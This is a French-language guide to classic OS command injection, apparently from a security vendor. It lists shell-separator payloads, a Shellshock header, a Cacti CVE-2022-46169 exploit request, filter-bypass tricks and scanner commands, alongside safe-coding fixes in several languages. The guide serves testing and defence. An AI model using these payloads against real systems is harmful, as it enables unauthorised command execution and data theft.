Une entrée contrôlée par l'attaquant transmise directement à une fonction shell, permettant l'exécution de commandes OS arbitraires via des métacaractères (; | & ` $).
TL;DR
uid= confirme l'exploitation; | && || ` $() %0a enchaînent des commandes sur les shells Unix et WindowsX-Forwarded-For et User-Agent étend la surface d'attaque au-delà des paramètres URLshell=False ; validation par liste d'autorisation avant tout appel OSL'injection de commandes OS classique (CWE-78) est la variante in-band de l'injection de commandes : l'application transmet une entrée fournie par l'utilisateur à une fonction shell OS, et la sortie de la commande injectée apparaît dans la même réponse HTTP. L'attaquant délivre le payload et lit le résultat via le même canal.
La cause profonde est la concaténation de chaînes dans un contexte shell : os.system("ping -c 1 " + user_input), exec("nslookup " + domain), shell_exec("convert " . filename). Le shell reçoit la chaîne concaténée complète et interprète chaque caractère qu'elle contient — y compris les opérateurs de contrôle de l'attaquant. L'application retourne ensuite la sortie combinée de toutes les commandes exécutées.
Cela se distingue de l'injection à l'aveugle (sortie supprimée), l'injection à l'aveugle basée sur le temps (oracle de délai), et l'injection OOB (exfiltration par canal auxiliaire). Les quatre partagent la même vulnérabilité de base mais nécessitent des chemins de détection et d'exploitation différents. L'injection classique est la plus simple à confirmer : si la sortie de la commande injectée apparaît dans la réponse, le cas est prouvé.
La chaîne d'exploitation comporte quatre étapes :
os.system(), subprocess.run(shell=True), exec(), shell_exec(), Runtime.exec(String), proc_open().Un endpoint vulnérable minimal et son exploitation :
GET /api/tools/ping?host=127.0.0.1;id HTTP/1.1
Host: vulnerable.example.com
User-Agent: Mozilla/5.0HTTP/1.1 200 OK
Content-Type: text/plain
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received
uid=33(www-data) gid=33(www-data) groups=33(www-data)| Séparateur | Comportement | Condition |
|---|---|---|
; | Séquentiel — exécute cmd2 toujours | Inconditionnel |
| | Redirige stdout de cmd1 vers stdin de cmd2 | cmd2 s'exécute toujours |
&& | Exécute cmd2 uniquement si cmd1 réussit (exit 0) | ET conditionnel |
|| | Exécute cmd2 uniquement si cmd1 échoue (exit ≠ 0) | OU conditionnel |
& | Lance cmd2 en arrière-plan | Inconditionnel, async |
` | Substitution de commande (backtick) — stdout remplace l'expression | POSIX hérité |
$() | Substitution de commande (POSIX moderne) — imbricable | POSIX moderne |
%0a | Saut de ligne encodé en URL — identique à ; | Contourne les filtres ; | & |
# Point-virgule — le plus courant
127.0.0.1; id
127.0.0.1; whoami
127.0.0.1; uname -a; id; hostname
# Pipe
127.0.0.1 | id
127.0.0.1 | cat /etc/passwd
# Conditionnel
valid_host && id # exécute id seulement si valid_host se résout
bad_host || id # exécute id parce que bad_host échoue
# Substitution de commande
127.0.0.1$(id)
127.0.0.1`whoami`
# Saut de ligne encodé en URL — contourne la plupart des filtres ; | &
127.0.0.1%0aid
127.0.0.1%0acat%20/etc/passwdREM Esperluette — séquentiel
127.0.0.1 & whoami
127.0.0.1 & net user
REM Pipe
127.0.0.1 | whoami
REM Conditionnel
127.0.0.1 && systeminfo
127.0.0.1 || whoami
REM Saut de ligne CRLF
127.0.0.1%0d%0awhoami
REM PowerShell
127.0.0.1; Invoke-Expression "whoami"
127.0.0.1; iex "whoami"Les en-têtes HTTP traités par les outils backend sont des vecteurs d'injection à forte valeur :
GET /health HTTP/1.1
User-Agent: () { :; }; /bin/bash -c 'id'
X-Forwarded-For: 127.0.0.1; id
Referer: http://example.com/?q=;idUser-Agent transporte les payloads Shellshock dans les environnements CGI — Apache mod_cgi transmet les en-têtes HTTP comme variables d'environnement aux scripts CGI, et le bug d'analyse des variables d'environnement de Bash (CVE-2014-6271) exécute les commandes trailing. L'en-tête X-Forwarded-For est le vecteur d'injection pour CVE-2022-46169 (Cacti) : la valeur de l'en-tête était transmise à proc_open() dans le sous-système de polling.
# Pattern canari — chaîne unique confirme l'exécution
; echo cmdi-CANARY-$(id)
| echo cmdi-CANARY-$(id)
# Confirmation plus simple
; id
; whoami
; cat /etc/passwd | head -3Le Proof Engine de BreachVex injecte un payload echo marqué de façon unique tel que | echo <canari> et ; echo <canari>, puis confirme l'injection lorsque ce canari apparaît dans le body de la réponse.
CVE-2022-46169 — Cacti ≤ 1.2.22 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Le sous-système de polling réseau de Cacti transmettait le paramètre POST poller_id directement à la fonction proc_open() de PHP. La valeur était également accessible via l'en-tête X-Forwarded-For dans les routines de traitement des logs. Sans authentification requise, un attaquant pouvait injecter des commandes via l'un ou l'autre vecteur :
POST /remote_agent.php HTTP/1.1
Host: cacti.example.com
X-Forwarded-For: 127.0.0.1;id
action=polldata&poller_id=1%3Bid&host_id=1&local_data_ids[]=1Exploitée en 48 heures de la divulgation publique en décembre 2022. La vulnérabilité a entraîné de larges infections de botnet ciblant les instances Cacti non patchées. Un CVE complémentaire (CVE-2023-49085, CVSS 8.8) enchaînait injection SQL → LFI → RCE sur des installations authentifiées.
CVE-2014-6271 — GNU Bash Shellshock (CVSS 10.0)
Bash analysait les valeurs de variables d'environnement comme définitions de fonctions lorsque la valeur commençait par () { :; }. Une faille permettait d'ajouter des commandes arbitraires après l'accolade fermante :
# En-tête User-Agent malveillant
User-Agent: () { :; }; /bin/bash -c 'id'
# Dans un contexte CGI, Apache mod_cgi définit HTTP_USER_AGENT comme :
HTTP_USER_AGENT=() { :; }; /bin/bash -c 'id'
# Bash exécute : id — avant même que le script CGI démarreExploitée mondialement dans les heures suivant la divulgation du 25 septembre 2014. Des millions de serveurs web, équipements réseau, routeurs et appareils IoT exécutant CGI étaient affectés. Des campagnes de botnet ont démarré le même jour, scannant massivement les endpoints vulnérables. Shellshock reste l'exemple canonique d'injection de commandes classique dans les formations en tests d'intrusion.
CVE-2024-3400 — PAN-OS GlobalProtect (CVSS 10.0)
Bien que CVE-2024-3400 implique un pattern enchaîné écriture-de-fichier-vers-exécution, il illustre le modèle d'exploitation dominant en 2024 pour l'injection adjacent au classique. Un cookie SESSID malformé contenant des caractères de traversée de chemin créait un fichier arbitraire sur le système de fichiers de l'appareil. Une seconde requête déclenchait l'exécution de ce fichier en tant que script Python avec les privilèges root. L'acteur menaçant UTA0218 (Volexity) a utilisé cela pour déployer la backdoor UPSTYLE contre des cibles gouvernementales et d'infrastructures critiques dans le monde entier. Ajouté au catalogue KEV de la CISA le jour de la découverte, le 12 avril 2024.
Identifier tous les paramètres susceptibles d'atteindre une exécution shell : paramètres de requête URL (host, ip, domain, cmd, exec, file, path, name, target), champs du body POST en JSON ou form-encoded, en-têtes HTTP (User-Agent, X-Forwarded-For, Referer), et noms de fichiers dans les flux de téléversement.
Soumettre un payload canari dans chaque paramètre. Commencer par le séparateur le moins bruyant :
; echo cmdi-test-$(id)
| echo cmdi-test-$(id)
%0a echo cmdi-test-$(id)Si uid= apparaît dans la réponse, la confirmation de Tier 1 est atteinte.
Si la réponse est propre, tester les séparateurs Windows pour les applications hébergées sur Windows :
& whoami
| whoami
&& net userTester les en-têtes HTTP avec des payloads Shellshock pour les environnements CGI :
User-Agent: () { :; }; /bin/bash -c 'id'Tester les versions fragmentées par guillemets pour contourner les filtres de mots-clés :
; w'h'o'am'i
; /b\in/idSi la sortie apparaît mais est vide, essayer de rediriger vers un chemin web accessible en écriture :
; id > /var/www/html/proof.txtPuis récupérer /proof.txt pour lire le résultat.
Commix teste l'injection classique automatiquement :
commix --url "http://target.com/ping?host=*" --batch --smart --level=3 --technique=CBurp Suite Pro soumet des payloads canaris avec des marqueurs uniques et vérifie leur reflet dans les réponses. Burp teste également les en-têtes courants automatiquement lors du scan dans le périmètre.
Nuclei dispose de templates communautaires pour l'injection classique spécifique aux CVE — CVE-2022-46169, CVE-2024-10914 (D-Link), et d'autres. Exécuter :
nuclei -u http://target.com -t cves/ -tags cmdiBreachVex confirme l'injection classique en injectant un payload echo marqué de façon unique (| echo <canari>, ; echo <canari>) et en vérifiant ce canari dans le body de la réponse. Un identifiant de corrélation unique par sonde empêche les faux positifs entre sondes.
import subprocess, re
# VULNÉRABLE — shell=True, concaténation de chaîne
import os
os.system(f"ping -c 1 {user_host}")
subprocess.run(f"ping -c 1 {user_host}", shell=True)
# SÛR — forme tableau, aucun shell invoqué
subprocess.run(["ping", "-c", "1", user_host])
# PLUS SÛR — validation par liste d'autorisation avant l'appel
if not re.fullmatch(r'^\d{1,3}(\.\d{1,3}){3}$', user_host):
raise ValueError("Adresse IP invalide — format requis : x.x.x.x")
subprocess.run(["ping", "-c", "1", user_host])const { exec, execFile, spawn } = require('child_process');
// VULNÉRABLE — exec démarre toujours /bin/sh
exec(`ping -c 1 ${req.query.host}`, (err, stdout) => console.log(stdout));
// SÛR — execFile contourne entièrement le shell
execFile('ping', ['-c', '1', req.query.host], (err, stdout) => {
res.send(stdout);
});
// SÛR — spawn avec shell: false (par défaut)
const proc = spawn('ping', ['-c', '1', req.query.host]);
proc.stdout.on('data', (data) => res.write(data));String userHost = request.getParameter("host");
// VULNÉRABLE — forme chaîne utilise StringTokenizer, CreateProcess sur Windows
Runtime.getRuntime().exec("ping -c 1 " + userHost);
// SÛR — ProcessBuilder avec liste d'arguments explicite
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", userHost);
pb.redirectErrorStream(true);
Process p = pb.start();
// Lire p.getInputStream() pour la sortie$host = $_GET['host'];
// VULNÉRABLE
exec("ping -c 1 $host", $output);
system("ping -c 1 " . $host);
// ACCEPTABLE — escapeshellarg prévient l'injection de métacaractères (POSIX)
$safeHost = escapeshellarg($host);
exec("ping -c 1 $safeHost", $output);
// MEILLEURE APPROCHE — liste d'autorisation stricte + escapeshellarg en défense en profondeur
if (!filter_var($host, FILTER_VALIDATE_IP)) {
http_response_code(400);
exit("Adresse IP invalide");
}
exec("ping -c 1 " . escapeshellarg($host), $output);
// NOTE : escapeshellarg() est insuffisant sur Windows — CVE-2024-1874, CVE-2024-5585
// Éviter les fichiers .bat/.cmd avec des entrées utilisateur sur Windows quel que soit le casshlex.quote() en Python et escapeshellarg() en PHP sont des fonctions d'échappement POSIX uniquement. Sur Windows, les règles des métacaractères de cmd.exe diffèrent fondamentalement — la divulgation BatBadBut (CVE-2024-24576, CVSS 10.0) a démontré que l'échappement par guillemets est insuffisant lorsque des fichiers .bat ou .cmd invoquent cmd.exe. Ne jamais se fier uniquement à l'échappement comme seule défense ; utiliser les API en forme de tableau.
Lorsque les entrées utilisateur doivent correspondre à des ressources système, la validation par liste d'autorisation est la défense secondaire :
# Liste d'autorisation — correspondance exacte uniquement
ALLOWED_REPORTS = {"access_log", "error_log", "audit_log"}
if user_report not in ALLOWED_REPORTS:
raise ValueError("Nom de rapport invalide")
subprocess.run(["generate-report", user_report])
# Liste d'autorisation regex pour les entrées structurées
import re
if not re.fullmatch(r'^[a-zA-Z0-9_\-]{1,64}$', user_slug):
raise ValueError("Slug invalide — alphanumériques et tirets uniquement")La sortie de la commande injectée est retournée dans la même réponse HTTP que celle qui a délivré le payload. L'attaquant voit uid=33(www-data) directement dans le body de la réponse. Cela la distingue des variantes à l'aveugle où la sortie est soit supprimée soit exfiltrée via un canal séparé.
Le saut de ligne encodé en URL (%0a) est le plus fiable pour des configurations de filtre diverses. La plupart des WAF et filtres d'entrée bloquent explicitement ; | & et $() mais ignorent l'injection de saut de ligne brut. En ligne de commande, un saut de ligne agit de manière identique à un point-virgule comme terminateur de commande.
Bash analysait des définitions de fonctions dans les variables d'environnement sous la forme () { :; }. Une faille permettait d'ajouter des commandes arbitraires après l'accolade fermante : () { :; }; /bin/bash -c 'id'. Les scripts CGI transmettent les en-têtes HTTP comme variables d'environnement, donc un en-tête User-Agent malveillant déclenchait l'exécution de commandes. Exploitée dans le monde entier dans les heures suivant la divulgation de septembre 2014.
Le paramètre poller_id de Cacti était transmis sans sanitization à la fonction proc_open() de PHP. Le paramètre était également accessible via l'en-tête X-Forwarded-For dans les routines de traitement des logs. Un attaquant non authentifié pouvait injecter des commandes via l'un ou l'autre vecteur. Exploitée en 48 heures de la divulgation publique ; CVSS 9.8.
Le point-virgule (;) exécute la commande injectée quel que soit le succès ou l'échec de la première commande. Le pipe (|) redirige stdout de la première commande vers stdin de la commande injectée — la commande injectée s'exécute quand même mais son stdin peut contenir des données inattendues. && exécute la commande injectée uniquement si la première réussit (exit 0) ; || exécute uniquement si la première échoue.
Les deux atteignent le même résultat — la commande interne s'exécute et son stdout remplace l'expression. $(cmd) est la forme POSIX moderne et supporte l'imbrication : $(echo $(id)). Les backticks (`cmd`) sont la forme POSIX héritée et ne s'imbriquent pas proprement. Les deux fonctionnent en bash, sh, zsh et dash. $() est préféré dans les payloads modernes car imbricable et plus propre dans l'encodage URL.
User-Agent (payloads Shellshock dans les environnements CGI), X-Forwarded-For (CVE-2022-46169 Cacti, injecté dans les appels de journalisation), Referer (analytics ou traitement de logs), et Host (si l'application utilise l'en-tête Host dans des commandes de diagnostic ou de monitoring). Tout en-tête traité par un outil côté serveur qui exécute des commandes shell est un point d'injection potentiel.
Le pattern canari ; echo cmdi-CANARY-$(id) injecte une chaîne unique suivie de la sortie de la commande id. Si le body de la réponse contient uid=, le canari confirme à la fois que la commande s'est exécutée et que la sortie est retournée. Le préfixe unique empêche les faux positifs par correspondance avec du contenu existant. Le Proof Engine de BreachVex utilise une chaîne canari unique par sonde comme marqueur.
Remplacer les espaces par ${IFS} (séparateur de champ interne), $IFS (forme courte), tabulation encodée en URL (%09), redirection d'entrée (cat</etc/passwd), ou expansion d'accolades ({cat,/etc/passwd}). Ces techniques contournent les filtres qui bloquent les espaces littéraux dans les payloads d'injection tout en préservant la sémantique de la commande.
La fragmentation de guillemets insère des guillemets ignorés à l'intérieur d'une commande pour contourner les filtres basés sur les mots-clés : w'h'o'am'i est équivalent à whoami. Bash traite les chaînes citées adjacentes comme un seul token. De même, w"h"o"am"i fonctionne avec les guillemets doubles, et w\ho\am\i utilise l'échappement par backslash pour produire le même token.
CVE-2024-3400 est une injection enchaînée en deux étapes : l'étape 1 utilise une traversée de chemin dans un cookie SESSID pour écrire un fichier arbitraire ; l'étape 2 déclenche l'exécution de ce fichier en tant que script Python avec les privilèges root. Il s'agit d'une chaîne écriture-de-fichier-vers-exécution-de-commande, classée sous CWE-77, qui a atteint CVSS 10.0. Elle est distincte de l'injection in-band directe mais partage la même cause profonde d'entrée non sanitisée atteignant l'exécution OS.
Sur les systèmes POSIX, escapeshellarg() enveloppe l'entrée dans des guillemets simples et échappe les guillemets simples incorporés, rendant difficile la sortie du contexte d'argument. Ce n'est pas suffisant sur Windows (CVE-2024-1874, CVE-2024-5585). La défense préférée est la validation par liste d'autorisation avant la commande, plus les API d'exécution en tableau d'arguments qui évitent entièrement un shell.